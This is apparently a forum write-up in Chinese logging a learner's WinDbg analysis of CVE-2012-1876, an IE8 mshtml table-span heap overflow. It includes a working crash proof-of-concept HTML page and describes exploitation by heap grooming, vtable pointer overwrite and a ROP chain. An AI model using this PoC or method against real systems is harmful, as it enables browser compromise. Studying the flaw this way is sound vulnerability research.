在调试漏洞战争上的CVE-2012-1876做了一些笔记,漏洞分析的话漏洞战争和vupen的文章已经写的很清楚了。 因为是第一次用windbg,所以我主要把自己的环境搭建(比如怎么导入符号文件)和调试日志(十分详细)记录了一下,希望对那些和我一样,刚开始学习漏洞分析与调试的人有所帮助。
在windbg的窗口里输入
重启后要重新输入。
基于HPA的漏洞分析方法
在终端通过gflags启动hpa 启动ie浏览器后,用windbg attach进程 两个进程,一个是broker进程 一个是页面的内容进程,附加后面的那个就可以,就是内容进程。 检查一下hpa开了没。
然后需要开启子进程调试,这样才能断下来。
然后g,启动调试器。
看到debugger正在运行了。 然后把poc拖到浏览器里运行。 另外poc拖进去之后,会自动断下来。 再g一下,就变成下面这个样子。
然后允许ActiveX控件运行。
然后kb回溯一下栈
这里可能会出现没有符号的问题,解决方法如下: 在windbg的窗口里输入
然后可以看见
分析一下 首先导致崩溃的(分析内容在下述代码注释了)
这样就清楚了,我们要在上一个函数下断。 重启一下windbg,重新attach
这个时候把poc拖进去(注意到没有提示允许activeX运行)
lm (List Loaded Modules) lm命令显示指定的已加载模块。输出中包含模块状态和路径。
sx 命令显示当前进程的异常列表和所有非异常的事件列表,并且显示调试器遇到每个异常和事件时的行为。
ld (Load Symbols) ld 命令加载指定模块的符号并刷新所有模块信息。
这样组合起来,就是ld制定mshtml加载,然后sxe强制在加载这个模块后断下。 现在我们就可以对这个函数下断了。
我在调试的时候辅助了一下IDA,其实是可以不用的。 直接静态分析找到CalculateMinMax 另外这里也需要导入符号。
单步继续跟随调试,按p就可以单步执行( 不进入函数那种),不过其实按回车也可以。
注意到mov ebx,dword ptr [ebp+8] ss:0023:0467e4b4=0492aea8 ,[ebp+8]是参数1(知道栈吧..)
可见参数1引用的是CTableLayout对象,也就是<table>
标签中的对象。
这里的ebx+54h指向的是table标签里的col元素的span值,在poc中只有一个span值1,所以这里赋值1.
讲道理,用windbg这样看汇编太难受了,接下来我们用IDA看吧
跟进CImplAry::EnsureSizeWorker函数,发现该函数主要用于分配堆内存,分配的内存大小,分配的内存大小为spansum * 0x1C
,虽然此处spansum为1,但其分配的最小值为0x1C * 4=0x70
,分配的地址保存在CtableLayout+0x9C
我们看下分配的缓冲区vulheap地址。
分配的地址在ebx+0x9C
此外,我们看一下用于比较的spansum和spancmp
从上面的代码段可知,这里分配了0x70大小的内存地址在CtableLayout+0x9C指向的地址。 总结:
要注意的地方 再次g之后会出现允许activeX允许这个框, 然后发现 这我也不知道是中间再次在哪触发了这个函数,还是重新运行了poc,总之这个时候的spansum和spancmp都没变,分别为1和0. 我觉得可能是中间又在哪触发了吧,不像是重新运行了,我也不确定是为什么,没有完整的阅读这个模块。 总之再次g之后,就和泉哥书上一致了。spansum还是1,spancmp变成4.
当分配完内存后,执行poc中的over_trigger函数时,会再一次断在CTableLayout::CalculateMinMax函数中,跟进去看下spansum和spancmp的值。
把之前设置的多余断点删掉,注意bc后跟的是断点的标号。
spansum为1,spancmp的值为4,(4>>2)为1==1,不发生跳转,不分配内存。
但是在over_trigger中,我们已经将span设置为1000了,这也是允许的最大值。 接着执行到mshtml!CTableLayout::CalculateMinMax+0x37e,我本来bp了一个断点在这,然后g一下,可是并没有断下来(这里没有断下来应该还是我断点下错了,没有进入那个断点的语句块),所以没办法,单步p呗,然后发现了新姿势,p 10能一次10下。
在mshtml!CTableCol::GetAAspan下断点,让它第二次获取span值的时候断下来。
gu是执行到当前函数结束返回。 此时span的值已经是0x3e8即最大值1000了。 继续分析后续代码。
复制的内容相当于width * 100
得到的数值,比如此处为0x41,则复制内容为0x41 * 1000=0x1004
。 在AdjustForCol中,会以1000 * 0x1c位计数循环向vulheap写入数据,最终造成heap溢出。 再g就崩溃了。 总结
经过调试,泉哥142页shr eax,2
理解错了,那个shr是右移的意思,而泉哥写的是左移运算符<<
漏洞利用的原理方面,vupen的文章写的比漏洞战争书上要详细好懂一些,可以先看这个。 此外,关于exp的编写请参考漏洞战争,这里只做调试分析。
这部分主要是用来构造堆布局,构造结果如下。 然后从中间(200)开始释放EEEE...,腾出空间。 释放的位置就是为了在分配vulheap时能够占用到释放位置中的一个,当溢出时就可以占用到后面的字符串和CButtonLayout。
先通过windbg attach ie,然后打开childdbg,因为刚开始IE还没有加载jsript.dll,所以可以先设置加载jscript.dll时断下(sxe),按g运行,拖入exp。 lmm确定载入后,再对JSCollectGarbage下断(bp),然后g运行。
继续下断,找到vulheap分配的位置,具体分析参考漏洞战争。
打开log文件做记录,另外我在jscript!JsStrSubString下了额外的断点。 此外改动一下exp,加个alert。
断下
保存之后,最后一个vulheap就是我们要找的.
另外为了确定虚表偏移,直接动态找一下吧。
奇怪的是,有两个虚表,这里我也不知道为什么……
69ff3af8-69e80000=0x00173af8 这和泉哥书上说的中文版win7+ie8环境中的偏移也是一致的。然后这我就很不解了…… 此外看一下vulheap。
很简单的能观察到03f2ae30的AAAA字符串被大量覆盖,所以它就是vulheap。 为做对比,我多打印了很多,下面的未被覆盖的AAAA都是成片出现的。
不过对比漏洞战争书上,本来03f2b040地址处的fa被覆盖为48 00 01 00即0x00010048,这个覆盖看的出来(下图蓝色框线). 按照0x03f2ae30+0x100(EEEE...)+0x8(堆指针大小)+0x100(AAAA...)+0x8(堆指针大小)=03f2b040,也确实应该是这里,我应该没理解错。
但是很奇怪,我的fa也还在……(下图红色框线),这可能就是我之前弹窗打印出的虚表地址不正确的原因吧,感觉别人的文章里都不会这样……难以理解
得到虚表地址后,计算mshtml基地址,构造rop。
然后再次溢出,这次溢出直接像刚刚覆盖BBBB的大小一样,直接覆盖虚表指针,于是就可以劫持虚表指针到任意地址,如下。
调试poc的时候还是比较顺利的,在调exp那里各种卡壳,唉。 主要还是学到了一些windbg的使用吧。 比如如果要下断点,其实可以在html里插入数学函数,比如用Math.cos,然后在jscript!Cos下断。 比如要查看jscript的导出表,可以在windbg里用x jscript!* 来查找,找虚表可以使用类似的方法(见上文)
.sympath SRV*c:\localsymbols*http://msdl.microsoft.com/download/symbols
<html>
<body>
<table style="table-layout:fixed" >
<col id="132" width="41" span="1" >  </col>
</table>
<script>
function over_trigger() {
var obj_col = document.getElementById("132");
obj_col.width = "42765";
obj_col.span = 1000;
}
setTimeout("over_trigger();",1);
</script>
</body>
</html>
0:000> .symfix
0:000> .reload
Reloading current modules
................................................................
.............................
0:000> !gflag
Current NtGlobalFlag contents: 0x02000000
hpa - Place heap allocations at ends of pages
.childdbg 1
0:027> g
ModLoad: 74c30000 74c38000 C:\Windows\system32\credssp.dll
ModLoad: 752a0000 752a8000 C:\Windows\system32\secur32.dll
ModLoad: 750c0000 750f8000 C:\Windows\system32\ncrypt.dll
ModLoad: 750a0000 750b7000 C:\Windows\system32\bcrypt.dll
ModLoad: 74c70000 74cad000 C:\Windows\system32\bcryptprimitives.dll
ModLoad: 74b50000 74b66000 C:\Windows\system32\GPAPI.dll
ModLoad: 70c60000 70c7c000 C:\Windows\system32\cryptnet.dll
ModLoad: 72e70000 72e85000 C:\Windows\system32\Cabinet.dll
ModLoad: 74d10000 74d1e000 C:\Windows\system32\DEVRTL.dll
1:021> g
ModLoad: 760f0000 7610f000 C:\Windows\system32\IMM32.DLL
ModLoad: 75b40000 75c0c000 C:\Windows\system32\MSCTF.dll
ModLoad: 6ccf0000 6d76c000 C:\Windows\system32\IEFRAME.dll
ModLoad: 75da0000 75da5000 C:\Windows\system32\PSAPI.DLL
ModLoad: 72940000 7297c000 C:\Windows\system32\OLEACC.dll
ModLoad: 741a0000 7433e000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7600.16385_none_421189da2b7fabfc\comctl32.dll
ModLoad: 75810000 7588b000 C:\Windows\system32\comdlg32.dll
ModLoad: 71620000 71655000 C:\Program Files\Internet Explorer\IEShims.dll
ModLoad: 75460000 7546c000 C:\Windows\system32\CRYPTBASE.dll
ModLoad: 74390000 743d0000 C:\Windows\system32\uxtheme.dll
ModLoad: 75500000 7550e000 C:\Windows\system32\RpcRtRemote.dll
ModLoad: 735b0000 735c3000 C:\Windows\system32\dwmapi.dll
ModLoad: 723c0000 723f3000 C:\Program Files\Internet Explorer\sqmapi.dll
ModLoad: 74f90000 74fa6000 C:\Windows\system32\CRYPTSP.dll
ModLoad: 76170000 7630d000 C:\Windows\system32\SETUPAPI.dll
ModLoad: 756b0000 756d7000 C:\Windows\system32\CFGMGR32.dll
ModLoad: 756e0000 756f2000 C:\Windows\system32\DEVOBJ.dll
ModLoad: 74d30000 74d6b000 C:\Windows\system32\rsaenh.dll
ModLoad: 764a0000 76523000 C:\Windows\system32\CLBCatQ.DLL
ModLoad: 743f0000 744e5000 C:\Windows\system32\propsys.dll
ModLoad: 6f9e0000 6fa0b000 C:\Program Files\Internet Explorer\ieproxy.dll
ModLoad: 772c0000 773b4000 C:\Windows\system32\WININET.dll
ModLoad: 76490000 76493000 C:\Windows\system32\Normaliz.dll
ModLoad: 75510000 7551b000 C:\Windows\system32\profapi.dll
ModLoad: 753f0000 7540a000 C:\Windows\system32\SspiCli.dll
ModLoad: 75db0000 75de5000 C:\Windows\system32\ws2_32.DLL
ModLoad: 759f0000 759f6000 C:\Windows\system32\NSI.dll
ModLoad: 74e10000 74e54000 C:\Windows\system32\dnsapi.DLL
ModLoad: 739a0000 739bc000 C:\Windows\system32\iphlpapi.DLL
ModLoad: 73980000 73987000 C:\Windows\system32\WINNSI.DLL
ModLoad: 6d920000 6d94e000 C:\Windows\system32\MLANG.dll
ModLoad: 75410000 7545b000 C:\Windows\system32\apphelp.dll
ModLoad: 73fe0000 74001000 C:\Windows\system32\ntmarta.dll
ModLoad: 77500000 77545000 C:\Windows\system32\WLDAP32.dll
ModLoad: 74a10000 74a19000 C:\Windows\system32\VERSION.dll
ModLoad: 67b10000 680c2000 C:\Windows\System32\mshtml.dll
ModLoad: 6e2c0000 6e2ea000 C:\Windows\System32\msls31.dll
ModLoad: 75470000 754cf000 C:\Windows\system32\SXS.DLL
ModLoad: 71270000 712a2000 C:\Windows\system32\WINMM.dll
ModLoad: 744f0000 74529000 C:\Windows\system32\MMDevAPI.DLL
ModLoad: 6daf0000 6db20000 C:\Windows\system32\wdmaud.drv
ModLoad: 6dae0000 6dae4000 C:\Windows\system32\ksuser.dll
ModLoad: 74730000 74737000 C:\Windows\system32\AVRT.dll
ModLoad: 6db20000 6db56000 C:\Windows\system32\AUDIOSES.DLL
ModLoad: 74760000 7476b000 C:\Windows\system32\msimtf.dll
ModLoad: 6dad0000 6dad8000 C:\Windows\system32\msacm32.drv
ModLoad: 6dab0000 6dac4000 C:\Windows\system32\MSACM32.dll
ModLoad: 6daa0000 6daa7000 C:\Windows\system32\midimap.dll
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)